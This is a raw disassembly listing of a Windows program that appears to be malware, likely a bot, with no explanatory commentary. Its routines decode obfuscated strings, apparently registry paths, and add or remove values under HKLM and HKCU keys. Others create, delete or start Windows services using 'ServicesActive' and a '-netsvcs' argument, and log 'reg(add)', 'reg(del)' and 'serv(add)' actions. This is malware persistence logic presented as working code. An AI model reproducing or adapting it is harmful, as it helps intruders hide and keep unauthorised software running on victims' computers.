		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 28304C1h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E118:				; CODE XREF: sub_40DBC0+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DBC0	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E290	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2970000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2970000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2930000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E810	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E810
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E810	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ECA0	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ECA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ECA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EDE0	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EDE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2930830h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE1F
		xor	al, al
		jmp	loc_40EF70
; ---------------------------------------------------------------------------


loc_40EE1F:				; CODE XREF: sub_40EDE0+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset dword_443BB4
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447824
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2940000h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF05
		nop
		call	near ptr 27F08BCh
		cmp	eax, 431h
		jnz	short loc_40EEE9
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF70
; ---------------------------------------------------------------------------


loc_40EEE9:				; CODE XREF: sub_40EDE0+CBj
		push	edi
		nop
		call	near ptr 2940458h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF70
; ---------------------------------------------------------------------------


loc_40EF05:				; CODE XREF: sub_40EDE0+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 29406ABh
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EF5C
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF70
; ---------------------------------------------------------------------------


loc_40EF5C:				; CODE XREF: sub_40EDE0+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF70:				; CODE XREF: sub_40EDE0+3Aj
					; sub_40EDE0+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EDE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F000	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2930830h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F027
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F027:				; CODE XREF: sub_40F000+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28D0783h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F054
		push	edi
		call	near ptr 2940458h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F054:				; CODE XREF: sub_40F000+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29304E3h
		push	esi
		call	near ptr 2930740h
		nop
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F000	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0A0	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2930830h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0BF
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0BF:				; CODE XREF: sub_40F0A0+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 28D0783h
		test	eax, eax
		jnz	short loc_40F0E6
		push	esi
		nop
		call	near ptr 2940458h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0E6:				; CODE XREF: sub_40F0A0+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F120	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930830h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F141
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F141:				; CODE XREF: sub_40F120+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 28D0783h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F16B
		push	edi
		nop
		call	near ptr 2940458h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F16B:				; CODE XREF: sub_40F120+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2920CBCh
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F120	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F1B0:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_4390E8
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2AA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F276
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch


loc_40F276:				; CODE XREF: ___:0040F237j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2AA:				; CODE XREF: ___:0040F1E6j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F349
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F322
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_40F322:				; CODE XREF: ___:0040F2EDj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F349:				; CODE XREF: ___:0040F2BCj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F45F
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F41D
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 20h


loc_40F41D:				; CODE XREF: ___:0040F3D4j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
